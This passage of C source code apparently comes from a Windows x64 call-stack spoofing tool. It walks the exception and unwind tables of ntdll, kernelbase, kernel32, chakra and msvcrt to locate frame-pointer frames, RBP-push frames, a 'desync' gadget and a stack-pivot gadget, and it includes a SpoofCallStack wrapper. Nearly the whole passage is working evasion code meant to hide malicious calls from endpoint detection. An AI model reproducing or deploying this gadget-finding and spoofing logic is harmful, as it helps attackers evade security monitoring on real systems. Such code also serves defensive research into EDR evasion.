813 | ntdll.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress(ntdll.Handle));
814 | ntdll.ExceptionTable = (PERF)(GetExceptionDirectoryAddress(ntdll.Handle, &tSize));
815 | ntdll.ExceptionTableLastEntryIndex = (DWORD)(tSize / 12);
816 |
817 | kernelbase.Handle = (HMODULE)GetModule(KERNELBASE_HASH);
818 | GetModuleTextSection(&kernelbase);
819 | kernelbase.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress(kernelbase.Handle));
820 | kernelbase.ExceptionTable = (PERF)(GetExceptionDirectoryAddress(kernelbase.Handle, &tSize));
821 | kernelbase.ExceptionTableLastEntryIndex = (DWORD)(tSize / 12);
822 |
823 | kernel32.Handle = (HMODULE)GetModule(KERNEL32DLL_HASH);
824 | GetModuleTextSection(&kernel32);
825 | kernel32.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress(kernel32.Handle));
826 | kernel32.ExceptionTable = (PERF)(GetExceptionDirectoryAddress(kernel32.Handle, &tSize));
827 | kernel32.ExceptionTableLastEntryIndex = (DWORD)(tSize / 12);
828 |
829 | //root.Handle = LoadLibraryA("Chakra");
830 | root.Handle = LoadLibraryA("chakra");
831 | GetModuleTextSection(&root);
832 | root.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress(root.Handle));
833 | root.ExceptionTable = (PERF)(GetExceptionDirectoryAddress(root.Handle, &tSize));
834 | root.ExceptionTableLastEntryIndex = (DWORD)(tSize / 12);
835 |
836 | current.Handle = LoadLibraryA("msvcrt");
837 | GetModuleTextSection(¤t);
838 | current.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress(current.Handle));
839 | current.ExceptionTable = (PERF)(GetExceptionDirectoryAddress(current.Handle, &tSize));
840 | current.ExceptionTableLastEntryIndex = (DWORD)(tSize / 12);
841 |
842 | rtSaveIndex = -1;
843 |
844 | while(!found) {
845 | sConfig->FirstFrameFunctionPointer = NULL;
846 | FindProlog(root.Handle, root.ExceptionTable, root.ExceptionTableLastEntryIndex, &stackSize, &rtSaveIndex, &rtTargetOffset);
847 |
848 | if (NULL == sConfig->FirstFrameFunctionPointer) {
849 | break;
850 | }
851 | printf("1. Found UWOP_SET_FPREG frame at frame %u 0x%I64x\n", rtSaveIndex, sConfig->FirstFrameFunctionPointer);
852 | Sleep(500);
853 |
854 | DWORD skipFirstFrameGadgets = 0;
855 | PERF currentFirstFrameFunction = root.ExceptionTable + rtSaveIndex;
856 |
857 | while (FindCallOffset(root.Handle, currentFirstFrameFunction, &pdwCallOffset, &puCalledFunctionAddress, &skipFirstFrameGadgets)) {
858 | // We loop through all the calls in the frame
859 | sConfig->FirstFrameRandomOffset = pdwCallOffset;
860 | PERF currentSecondFrameFunction = NULL;
861 | if (puCalledFunctionAddress == 0 || (puCalledFunctionAddress - (UINT64)root.Handle) <= 0) {
862 | continue;
863 | }
864 |
865 | currentSecondFrameFunction = RTFindFunctionByAddressInRFTable(root.ExceptionTable, root.ExceptionTableLastEntryIndex, (DWORD64)(puCalledFunctionAddress - (UINT64)root.Handle));
866 |
867 | if (NULL == currentSecondFrameFunction) {
868 | continue;
869 | }
870 |
871 | if (!CheckPushRbp(root.Handle, currentSecondFrameFunction, &stackSize)) {
872 | continue;
873 | }
874 | printf("1. Found UWOP_SET_FPREG frame\n");
875 | printf("2. Found UWOP_PUSH_NONVOL (RBP) frame %u at 0x%I64x\n", rtSaveIndex, (UINT64)root.Handle + currentSecondFrameFunction->BeginAddress);
876 | DWORD skipSecondFrameGadgets = 0;
877 | while (FindCallOffset(root.Handle, currentSecondFrameFunction, &pdwCallOffset, &puCalledFunctionAddress, &skipSecondFrameGadgets)) {
878 | BOOL checkpoint = FALSE;
879 | PERF currentDesyncFrameFunction = NULL;
880 | sConfig->SecondFrameRandomOffset = pdwCallOffset;
881 | if (puCalledFunctionAddress == 0) {
882 | continue;
883 | }
884 |
885 | checkpoint = SearchFrameWithinModule(root, ¤tDesyncFrameFunction, puCalledFunctionAddress, 0);
886 | if (!checkpoint &&
887 | (puCalledFunctionAddress > (UINT64)current.TextSectionAddress) &&
888 | (puCalledFunctionAddress < ((UINT64)current.TextSectionAddress + current.TextSectionSize))) {
889 | checkpoint = SearchFrameWithinModule(current, ¤tDesyncFrameFunction, puCalledFunctionAddress, 0);
890 | }
891 | else if (!checkpoint &&
892 | (puCalledFunctionAddress > (UINT64)kernelbase.TextSectionAddress) &&
893 | (puCalledFunctionAddress < ((UINT64)kernelbase.TextSectionAddress + kernelbase.TextSectionSize))) {
894 | checkpoint = SearchFrameWithinModule(kernelbase, ¤tDesyncFrameFunction, puCalledFunctionAddress, 0);
895 | }
896 | else if (!checkpoint &&
897 | (puCalledFunctionAddress > (UINT64)ntdll.TextSectionAddress) &&
898 | (puCalledFunctionAddress < ((UINT64)ntdll.TextSectionAddress + ntdll.TextSectionSize))) {
899 | checkpoint = SearchFrameWithinModule(ntdll, ¤tDesyncFrameFunction, puCalledFunctionAddress, 0);
900 | }
901 |
902 | if (!checkpoint) {
903 | continue;
904 | }
905 | printf("1. Found UWOP_SET_FPREG frame\n");
906 | printf("2. Found UWOP_PUSH_NONVOL (RBP) frame\n");
907 | printf("3. Found Desync Gadget\n");
908 | DWORD skipDesyncFrameGadgets = 0;
909 | while (FindCallOffset(current.Handle, currentDesyncFrameFunction, &pdwCallOffset, &puCalledFunctionAddress, &skipDesyncFrameGadgets)) {
910 | PERF currentStackPivotFrameFunction = NULL;
911 | if (puCalledFunctionAddress == 0) {
912 | continue;
913 | }
914 | if ((puCalledFunctionAddress > (UINT64)root.TextSectionAddress) &&
915 | (puCalledFunctionAddress < ((UINT64)root.TextSectionAddress + root.TextSectionSize)))
916 | {
917 | found = SearchFrameWithinModule(
918 | root,
919 | ¤tStackPivotFrameFunction,
920 | puCalledFunctionAddress,
921 | 1
922 | );
923 | }
924 | else if ((puCalledFunctionAddress > (UINT64)current.TextSectionAddress) &&
925 | (puCalledFunctionAddress < ((UINT64)current.TextSectionAddress + current.TextSectionSize)))
926 | {
927 | found = SearchFrameWithinModule(
928 | current,
929 | ¤tStackPivotFrameFunction,
930 | puCalledFunctionAddress,
931 | 1
932 | );
933 | }
934 | else if ((puCalledFunctionAddress > (UINT64)kernelbase.TextSectionAddress) &&
935 | (puCalledFunctionAddress < ((UINT64)kernelbase.TextSectionAddress + kernelbase.TextSectionSize)))
936 | {
937 | found = SearchFrameWithinModule(
938 | kernelbase,
939 | ¤tStackPivotFrameFunction,
940 | puCalledFunctionAddress,
941 | 1
942 | );
943 | }
944 | else if ((puCalledFunctionAddress > (UINT64)ntdll.TextSectionAddress) &&
945 | (puCalledFunctionAddress < ((UINT64)ntdll.TextSectionAddress + ntdll.TextSectionSize)))
946 | {
947 | found = SearchFrameWithinModule(
948 | ntdll,
949 | ¤tStackPivotFrameFunction,
950 | puCalledFunctionAddress,
951 | 1
952 | );
953 | }
954 |
955 | if (!found) {
956 | continue;
957 | }
958 | printf("4. Compliant Stack Pivot Gadget\n");
959 | break;
960 | }
961 | }
962 | }
963 |
964 | }
965 | if (!found) {
966 | printf("\n[-] Chain not found... sorry! :(\n");
967 | }
968 | else {
969 | printf("\n[+] Chain found! Oh yeaaaahhh! :)\n");
970 | }
971 |
972 | }
973 |
974 | BOOL SearchFrameWithinModule(DLL current, PERF* pCurrentFrameFunction, UINT64 puCalledFunctionAddress, DWORD gadgetType) {
975 | DWORD skipSecondFrameGadgets = 0;
976 | DWORD pdwCallOffset = 0;
977 | DWORD skip = 0;
978 | DWORD stackSize = 0;
979 |
980 | *pCurrentFrameFunction = RTFindFunctionByAddressInRFTable(current.ExceptionTable, current.ExceptionTableLastEntryIndex, (DWORD64)(puCalledFunctionAddress - (UINT64)current.Handle));
981 | if (NULL == *pCurrentFrameFunction) {
982 | return FALSE;
983 | }
984 |
985 | if (!CheckForGadget(current.Handle, *pCurrentFrameFunction, &stackSize, &skip, gadgetType)) {
986 | return FALSE;
987 | }
988 | return TRUE;
989 | };
990 |
991 | BOOL FindCallOffset(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD pdwCallOffset, PUINT64 pCalledFunctionAddress, PDWORD skip) {
992 | DWORD gadgets = 0;
993 | BOOL status = FALSE;
994 | DWORD callOffset;
995 | DWORD staticOffset = 4;
996 | *pdwCallOffset = 0;
997 | *pCalledFunctionAddress = 0;
998 |
999 | for (UINT64 j = (UINT64)moduleBase + pRuntimeFunction->BeginAddress; j < (UINT64)moduleBase + pRuntimeFunction->EndAddress; j++) {
1000 | callOffset = 1;
1001 | // OK, found a potential call
1002 | if (*(BYTE*)j == CALL_NEAR || *(WORD*)j == CALL_NEAR_QPTR || (*(DWORD*)j & 0x00ffffff) == CALL_FAR_QPTR) {
1003 |
1004 | if ((*(DWORD*)j & 0x00ffffff) == CALL_FAR_QPTR) {
1005 | callOffset += 2;
1006 | }
1007 | else if (*(WORD*)j == CALL_NEAR_QPTR) {
1008 | callOffset++;
1009 | }
1010 |
1011 |
1012 | // In several DLLs, after a call we have a nop of some type
1013 | // if (!(*(BYTE*)(j + callOffset) == 0x90 || *(WORD*)(j + callOffset) == 0x1f0f || *(WORD*)(j + callOffset) == 0x0f48)) {
1014 | // continue;
1015 | //}
1016 | gadgets++;
1017 | if (*skip >= gadgets) {
1018 | // Let's try another gadget
1019 | continue;
1020 | }
1021 | *skip = gadgets;
1022 | // Call returning at start of call + length of call instruction
1023 | *pdwCallOffset = (DWORD)((j + staticOffset + callOffset) - (UINT64)moduleBase);
1024 | *pCalledFunctionAddress = (j + callOffset + staticOffset + *(DWORD*)(j+callOffset));
1025 | if (*pCalledFunctionAddress > 0x7fffffffffff) {
1026 | continue;
1027 | }
1028 | /*
1029 | printf(" Function called at: 0x%I64x\n", j);
1030 | printf(" Called function: 0x%I64x\n", *pCalledFunctionAddress);
1031 | Sleep(500);
1032 | */
1033 | status = TRUE;
1034 | break;
1035 | }
1036 | }
1037 | return status;
1038 | }
1039 |
1040 | BOOL CheckPushRbp(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD stackSize) {
1041 | PUNWIND_INFO unwindInfo;
1042 | DWORD pdwCallOffset = 0;
1043 | DWORD status = 0;
1044 | *stackSize = 0;
1045 |
1046 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunction->UnwindData);
1047 | status = GetStackFrameSizeWhereRbpIsPushedOnStack(moduleBase, (PVOID)unwindInfo, stackSize);
1048 | if (0 != status) {
1049 |
1050 | sConfig->SecondFrameFunctionPointer = (PVOID)((UINT64)moduleBase + (UINT64)pRuntimeFunction->BeginAddress);
1051 | sConfig->SecondFrameSize = *stackSize;
1052 | sConfig->StackOffsetWhereRbpIsPushed = status;
1053 | }
1054 |
1055 | return 0 != status;
1056 | }
1057 |
1058 | // Wrapper function: DO NOT USE
1059 | VOID SpoofCallStack(PSPOOFER psConfig) {
1060 |
1061 | // _ReturnAddress intrinsic doesn't work as expected, use _AddressOfReturnAddress instead
1062 | psConfig->ReturnAddress = _AddressOfReturnAddress();
1063 | spoof_call(psConfig);
1064 | }
1065 |
1066 | DWORD FindCallInstructionOffset(uint64_t startAddress, DWORD searchLimit) {
1067 |
1068 | DWORD offset = 0;
1069 | DWORD callOffset = 0;
1070 | DWORD staticOffset = 4; // Size of CALL instruction
1071 | BOOL found = FALSE;
1072 |
1073 | while (offset < searchLimit) {
1074 | if (*(BYTE*)(startAddress + offset) == CALL_NEAR || *(WORD*)(startAddress + offset) == CALL_NEAR_QPTR || (*(DWORD*)(startAddress + offset) & 0x00ffffff) == CALL_FAR_QPTR) {
1075 | if ((*(DWORD*)(startAddress + offset) & 0x00ffffff) == CALL_FAR_QPTR) {
1076 | callOffset += 3;
1077 | }
1078 | else if (*(WORD*)(startAddress + offset) == CALL_NEAR_QPTR) {
1079 | callOffset += 2;
1080 | }
1081 | else {
1082 | callOffset++;
1083 | }
1084 | found = TRUE;
1085 | break;
1086 | }
1087 | offset++;
1088 | }
1089 |
1090 | if (found) {
1091 | return (offset + staticOffset + callOffset);
1092 | }
1093 | return 0;
1094 |
1095 | }
1096 |
1097 | DWORD GetStackFrameSizeWhereRbpIsPushedOnStack(HMODULE moduleBase, PVOID unwindInfoAddress, DWORD* targetStackOffset) {
1098 |
1099 | DWORD saveStackOffset;
1100 | DWORD backupStackOffset;
1101 | PRUNTIME_FUNCTION pChainedFunction;
1102 |
1103 | BOOL RBP_PUSHED = FALSE;
1104 | PUNWIND_INFO unwindInfo = (PUNWIND_INFO)unwindInfoAddress;
1105 | PUNWIND_CODE unwindCode = (PUNWIND_CODE)unwindInfo->UnwindCode;
1106 | MIN_CTX ctx = MIN_CTX();
1107 | DWORD frameSize = 0;
1108 | DWORD nodeIndex = 0;
1109 | DWORD countOfCodes = unwindInfo->CountOfCodes;
1110 |
1111 | saveStackOffset = 0;
1112 | *targetStackOffset = 0;
1113 | backupStackOffset = *targetStackOffset;
1114 |
1115 | // Initialise context
1116 | custom_memset(&ctx, 0, sizeof(MIN_CTX));
1117 | // printf("The stack is now 0x%I64X\n", *targetOffset);
1118 |
1119 | while (nodeIndex < countOfCodes) {
1120 | // Ensure frameSize is reset
1121 | frameSize = 0;
1122 |
1123 | switch (unwindCode->UnwindOp) {
1124 |
1125 | case UWOP_PUSH_NONVOL: // 0
1126 |
1127 | if (unwindCode->OpInfo == RSP) {
1128 | // We break here
1129 | return 0;
1130 | }
1131 | if (unwindCode->OpInfo == RBP && RBP_PUSHED) {
1132 | return 0;
1133 | }
1134 | else if (unwindCode->OpInfo == RBP) {
1135 | saveStackOffset = *targetStackOffset;
1136 | RBP_PUSHED = 1;
1137 | }
1138 |
1139 | *targetStackOffset += 8;
1140 | break;
1141 |
1142 | case UWOP_ALLOC_LARGE: // 1
1143 | // If the operation info equals 0 -> allocation size / 8 in next slot
1144 | // If the operation info equals 1 -> unscaled allocation size in next 2 slots
1145 | // In any case, we need to advance 1 slot and record the size
1146 |
1147 | // Skip to next Unwind Code
1148 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1149 | DPRINTUNWINDCODE(unwindCode);
1150 |
1151 | // Keep track of current node
1152 | nodeIndex++;
1153 | // Register size in next slot
1154 | frameSize = unwindCode->FrameOffset;
1155 |
1156 | if (unwindCode->OpInfo == 0) {
1157 | // If the operation info equals 0, then the size of the allocation divided by 8
1158 | // is recorded in the next slot, allowing an allocation up to 512K - 8.
1159 | // We already advanced of 1 slot, and recorded the allocation size
1160 | // We just need to multiply it for 8 to get the unscaled allocation size
1161 | frameSize *= 8;
1162 | }
1163 | else
1164 | {
1165 | // If the operation info equals 1, then the unscaled size of the allocation is
1166 | // recorded in the next two slots in little-endian format, allowing allocations
1167 | // up to 4GB - 8.
1168 | // Skip to next Unwind Code
1169 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1170 | // Keep track of current node
1171 | nodeIndex++;
1172 | // Unmask the rest of the allocation size
1173 | frameSize += unwindCode->FrameOffset << 16;
1174 |
1175 | }
1176 | DPRINT("Final Frame Size: 0x%x\n", frameSize);
1177 | *targetStackOffset += frameSize;
1178 | break;
1179 |
1180 | case UWOP_ALLOC_SMALL: // 2
1181 |
1182 | // Allocate a small-sized area on the stack. The size of the allocation is the operation
1183 | // info field * 8 + 8, allowing allocations from 8 to 128 bytes.
1184 | *targetStackOffset += 8 * (unwindCode->OpInfo + 1);
1185 | break;
1186 |
1187 |
1188 | case UWOP_SET_FPREG: // 3
1189 | return 0;
1190 | break; // EARLY RET
1191 |
1192 | case UWOP_SAVE_NONVOL: // 4
1193 | // Save a nonvolatile integer register on the stack using a MOV instead of a PUSH. This code is
1194 | // primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack in a position
1195 | // that was previously allocated. The operation info is the number of the register. The scaled-by-8
1196 | // stack offset is recorded in the next unwind operation code slot, as described in the note above.
1197 | if (unwindCode->OpInfo == RSP) {
1198 | // This time, we return only if RSP was saved
1199 | return 0;
1200 | }
1201 | else
1202 | {
1203 | // For future use: save the scaled by 8 stack offset
1204 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset * 8;
1205 | DPRINTCTX(ctx);
1206 |
1207 | // Skip to next Unwind Code
1208 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1209 | nodeIndex++;
1210 |
1211 | if (unwindCode->OpInfo != RBP) {
1212 | // Restore original stack size (!?)
1213 | *targetStackOffset = backupStackOffset;
1214 | break;
1215 | }
1216 | if (RBP_PUSHED) {
1217 | return 0;
1218 | }
1219 |
1220 | RBP_PUSHED = TRUE;
1221 | // We save the stack offset where MOV [RSP], RBP happened
1222 | // During unwinding, this address will be popped back in RBP
1223 | saveStackOffset = *((ULONG*)&ctx + unwindCode->OpInfo);
1224 |
1225 | // Restore original stack size (!?)
1226 | *targetStackOffset = backupStackOffset;
1227 | }
1228 |
1229 | break;
1230 | case UWOP_SAVE_NONVOL_BIG: // 5
1231 | // Save a nonvolatile integer register on the stack with a long offset, using a MOV instead of a PUSH.
1232 | // This code is primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack
1233 | // in a position that was previously allocated. The operation info is the number of the register.
1234 | // The unscaled stack offset is recorded in the next two unwind operation code slots, as described
1235 | // in the note above.
1236 | if (unwindCode->OpInfo == RSP) {
1237 | return 0;
1238 | }
1239 |
1240 | // For future use
1241 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset;
1242 | *((ULONG*)&ctx + unwindCode->OpInfo) += (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 2))->FrameOffset << 16;
1243 |
1244 | if (unwindCode->OpInfo != RBP) {
1245 | // Restore original stack size (!?)
1246 | *targetStackOffset = backupStackOffset;
1247 | break;
1248 | }
1249 | if (RBP_PUSHED) {
1250 | return 0;
1251 | }
1252 | // We save the stack offset where MOV [RSP], RBP happened
1253 | // During unwinding, this address will be popped back in RBP
1254 | saveStackOffset = *((ULONG*)&ctx + unwindCode->OpInfo);
1255 | // Restore Stack Size
1256 | *targetStackOffset = backupStackOffset;
1257 |
1258 | // Skip the other two nodes used for this unwind operation
1259 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2);
1260 | nodeIndex += 2;
1261 |
1262 | DPRINTCTX(ctx);
1263 | break;
1264 |
1265 | case UWOP_EPILOG: // 6
1266 | case UWOP_SAVE_XMM128: // 8
1267 | // Save all 128 bits of a nonvolatile XMM register on the stack. The operation info is the number of
1268 | // the register. The scaled-by-16 stack offset is recorded in the next slot.
1269 |
1270 | // TODO: Handle this
1271 |
1272 | // Skip to next Unwind Code
1273 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1274 | nodeIndex++;
1275 | break;
1276 | case UWOP_SPARE_CODE: // 7
1277 | case UWOP_SAVE_XMM128BIG: // 9
1278 | // Save all 128 bits of a nonvolatile XMM register on the stack with a long offset. The operation info
1279 | // is the number of the register. The unscaled stack offset is recorded in the next two slots.
1280 |
1281 | // TODO: Handle this
1282 |
1283 | // Advancing next 2 nodes
1284 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2);
1285 | nodeIndex += 2;
1286 | break;
1287 | case UWOP_PUSH_MACH_FRAME: // 10
1288 | // Push a machine frame. This unwind code is used to record the effect of a hardware interrupt or exception.
1289 | // There are two forms.
1290 |
1291 | // NOTE: UNTESTED
1292 | // TODO: Test this
1293 | if (unwindCode->OpInfo == 0) {
1294 | *targetStackOffset += 0x40;
1295 | }
1296 | else {
1297 | *targetStackOffset += 0x48;
1298 | }
1299 | break;
1300 | }
1301 |
1302 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1303 | nodeIndex++;
1304 | }
1305 |
1306 | // If chained unwind information is present then we need to
1307 | // also recursively parse this and add to total stack size.
1308 | if (BitChainInfo(unwindInfo->Flags))
1309 | {
1310 | nodeIndex = unwindInfo->CountOfCodes;
1311 | if (0 != (nodeIndex & 1))
1312 | {
1313 | nodeIndex += 1;
1314 | }
1315 | pChainedFunction = (PRUNTIME_FUNCTION)(&unwindInfo->UnwindCode[nodeIndex]);
1316 | return GetStackFrameSize(moduleBase, (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pChainedFunction->UnwindData), targetStackOffset);
1317 | }
1318 |
1319 | return saveStackOffset;
1320 |
1321 |
1322 | }
1323 |
1324 | DWORD GetStackFrameSizeIgnoringUwopSetFpreg(HMODULE moduleBase, PVOID unwindInfoAddress, DWORD* targetStackOffset) {
1325 |
1326 | DWORD saveStackOffset;
1327 | DWORD backupStackOffset;
1328 | PRUNTIME_FUNCTION pChainedFunction;
1329 |
1330 | PUNWIND_INFO unwindInfo = (PUNWIND_INFO)unwindInfoAddress;
1331 | PUNWIND_CODE unwindCode = (PUNWIND_CODE)unwindInfo->UnwindCode;
1332 | MIN_CTX ctx = MIN_CTX();
1333 | DWORD frameSize = 0;
1334 | DWORD nodeIndex = 0;
1335 | DWORD countOfCodes = unwindInfo->CountOfCodes;
1336 |
1337 | saveStackOffset = 0;
1338 | *targetStackOffset = 0;
1339 | backupStackOffset = *targetStackOffset;
1340 |
1341 | // Initialise context
1342 | custom_memset(&ctx, 0, sizeof(MIN_CTX));
1343 | // printf("The stack is now 0x%I64X\n", *targetOffset);
1344 |
1345 | while (nodeIndex < countOfCodes) {
1346 | // Ensure frameSize is reset
1347 | frameSize = 0;
1348 |
1349 | switch (unwindCode->UnwindOp) {
1350 |
1351 | case UWOP_PUSH_NONVOL: // 0
1352 |
1353 | if (unwindCode->OpInfo == RSP) {
1354 | // We break here
1355 | return 0;
1356 | }
1357 | *targetStackOffset += 8;
1358 | break;
1359 |
1360 | case UWOP_ALLOC_LARGE: // 1
1361 | // If the operation info equals 0 -> allocation size / 8 in next slot
1362 | // If the operation info equals 1 -> unscaled allocation size in next 2 slots
1363 | // In any case, we need to advance 1 slot and record the size
1364 |
1365 | // Skip to next Unwind Code
1366 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1367 | DPRINTUNWINDCODE(unwindCode);
1368 |
1369 | // Keep track of current node
1370 | nodeIndex++;
1371 | // Register size in next slot
1372 | frameSize = unwindCode->FrameOffset;
1373 |
1374 | if (unwindCode->OpInfo == 0) {
1375 | // If the operation info equals 0, then the size of the allocation divided by 8
1376 | // is recorded in the next slot, allowing an allocation up to 512K - 8.
1377 | // We already advanced of 1 slot, and recorded the allocation size
1378 | // We just need to multiply it for 8 to get the unscaled allocation size
1379 | frameSize *= 8;
1380 | }
1381 | else
1382 | {
1383 | // If the operation info equals 1, then the unscaled size of the allocation is
1384 | // recorded in the next two slots in little-endian format, allowing allocations
1385 | // up to 4GB - 8.
1386 | // Skip to next Unwind Code
1387 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1388 | // Keep track of current node
1389 | nodeIndex++;
1390 | // Unmask the rest of the allocation size
1391 | frameSize += unwindCode->FrameOffset << 16;
1392 |
1393 | }
1394 | DPRINT("Final Frame Size: 0x%x\n", frameSize);
1395 | *targetStackOffset += frameSize;
1396 | break;
1397 |
1398 | case UWOP_ALLOC_SMALL: // 2
1399 |
1400 | // Allocate a small-sized area on the stack. The size of the allocation is the operation
1401 | // info field * 8 + 8, allowing allocations from 8 to 128 bytes.
1402 | *targetStackOffset += 8 * (unwindCode->OpInfo + 1);
1403 | break;
1404 |
1405 |
1406 | case UWOP_SET_FPREG: // 3
1407 | // IGNORED
1408 | break;
1409 |
1410 | case UWOP_SAVE_NONVOL: // 4
1411 | // Save a nonvolatile integer register on the stack using a MOV instead of a PUSH. This code is
1412 | // primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack in a position
1413 | // that was previously allocated. The operation info is the number of the register. The scaled-by-8
1414 | // stack offset is recorded in the next unwind operation code slot, as described in the note above.
1415 | if (unwindCode->OpInfo == RSP) {
1416 | // This time, we return only if RSP was saved
1417 | return 0;
1418 | }
1419 | else
1420 | {
1421 | // For future use: save the scaled by 8 stack offset
1422 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset * 8;
1423 | DPRINTCTX(ctx);
1424 |
1425 | // Skip to next Unwind Code
1426 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1427 | nodeIndex++;
1428 |
1429 | // We save the stack offset where MOV [RSP], RBP happened
1430 | // During unwinding, this address will be popped back in RBP
1431 | saveStackOffset = *((ULONG*)&ctx + unwindCode->OpInfo);
1432 |
1433 | // Restore original stack size (!?)
1434 | *targetStackOffset = backupStackOffset;
1435 | }
1436 |
1437 | break;
1438 | case UWOP_SAVE_NONVOL_BIG: // 5
1439 | // Save a nonvolatile integer register on the stack with a long offset, using a MOV instead of a PUSH.
1440 | // This code is primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack
1441 | // in a position that was previously allocated. The operation info is the number of the register.
1442 | // The unscaled stack offset is recorded in the next two unwind operation code slots, as described
1443 | // in the note above.
1444 | if (unwindCode->OpInfo == RSP) {
1445 | return 0;
1446 | }
1447 |
1448 | // For future use
1449 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset;
1450 | *((ULONG*)&ctx + unwindCode->OpInfo) += (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 2))->FrameOffset << 16;
1451 |
1452 | // We save the stack offset where MOV [RSP], RBP happened
1453 | // During unwinding, this address will be popped back in RBP
1454 | saveStackOffset = *((ULONG*)&ctx + unwindCode->OpInfo);
1455 | // Restore Stack Size
1456 | *targetStackOffset = backupStackOffset;
1457 |
1458 | // Skip the other two nodes used for this unwind operation
1459 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2);
1460 | nodeIndex += 2;
1461 |
1462 | DPRINTCTX(ctx);
1463 | break;
1464 |
1465 | case UWOP_EPILOG: // 6
1466 | case UWOP_SAVE_XMM128: // 8
1467 | // Save all 128 bits of a nonvolatile XMM register on the stack. The operation info is the number of
1468 | // the register. The scaled-by-16 stack offset is recorded in the next slot.
1469 |
1470 | // TODO: Handle this
1471 |
1472 | // Skip to next Unwind Code
1473 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1474 | nodeIndex++;
1475 | break;
1476 | case UWOP_SPARE_CODE: // 7
1477 | case UWOP_SAVE_XMM128BIG: // 9
1478 | // Save all 128 bits of a nonvolatile XMM register on the stack with a long offset. The operation info
1479 | // is the number of the register. The unscaled stack offset is recorded in the next two slots.
1480 |
1481 | // TODO: Handle this
1482 |
1483 | // Advancing next 2 nodes
1484 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2);
1485 | nodeIndex += 2;
1486 | break;
1487 | case UWOP_PUSH_MACH_FRAME: // 10
1488 | // Push a machine frame. This unwind code is used to record the effect of a hardware interrupt or exception.
1489 | // There are two forms.
1490 |
1491 | // NOTE: UNTESTED
1492 | // TODO: Test this
1493 | if (unwindCode->OpInfo == 0) {
1494 | *targetStackOffset += 0x40;
1495 | }
1496 | else {
1497 | *targetStackOffset += 0x48;
1498 | }
1499 | break;
1500 | }
1501 |
1502 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1503 | nodeIndex++;
1504 | }
1505 |
1506 | // If chained unwind information is present then we need to
1507 | // also recursively parse this and add to total stack size.
1508 | if (BitChainInfo(unwindInfo->Flags))
1509 | {
1510 | nodeIndex = unwindInfo->CountOfCodes;
1511 | if (0 != (nodeIndex & 1))
1512 | {
1513 | nodeIndex += 1;
1514 | }
1515 | pChainedFunction = (PRUNTIME_FUNCTION)(&unwindInfo->UnwindCode[nodeIndex]);
1516 | return GetStackFrameSizeIgnoringUwopSetFpreg(moduleBase, (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pChainedFunction->UnwindData), targetStackOffset);
1517 | }
1518 |
1519 | return *targetStackOffset;
1520 |
1521 |
1522 | }
1523 |
1524 | DWORD GetStackFrameSize(HMODULE hModule, PVOID unwindInfoAddress, DWORD* targetStackOffset) {
1525 |
1526 | PRUNTIME_FUNCTION pChainedFunction;
1527 |
1528 | DWORD frameSize = 0;
1529 | DWORD nodeIndex = 0;
1530 | BOOL UWOP_SET_FPREG_HIT = FALSE;
1531 | PUNWIND_INFO unwindInfo = (PUNWIND_INFO)unwindInfoAddress;
1532 | PUNWIND_CODE unwindCode = (PUNWIND_CODE)unwindInfo->UnwindCode;
1533 | MIN_CTX ctx = MIN_CTX();
1534 |
1535 | // Restore Stack Size
1536 | *targetStackOffset = 0;
1537 |
1538 | // Initialise context
1539 | custom_memset(&ctx, 0, sizeof(MIN_CTX));
1540 | // printf("The stack is now 0x%I64X\n", *targetOffset);
1541 |
1542 | while(nodeIndex < unwindInfo->CountOfCodes){
1543 | // Ensure frameSize is reset
1544 | frameSize = 0;
1545 |
1546 | switch (unwindCode->UnwindOp) {
1547 |
1548 | case UWOP_PUSH_NONVOL: // 0
1549 |
1550 | if (unwindCode->OpInfo == RSP && !UWOP_SET_FPREG_HIT) {
1551 | // We break here
1552 | return 0;
1553 | }
1554 | *targetStackOffset += 8;
1555 | break;
1556 |
1557 | case UWOP_ALLOC_LARGE: // 1
1558 | // If the operation info equals 0 -> allocation size / 8 in next slot
1559 | // If the operation info equals 1 -> unscaled allocation size in next 2 slots
1560 | // In any case, we need to advance 1 slot and record the size
1561 |
1562 | // Skip to next Unwind Code
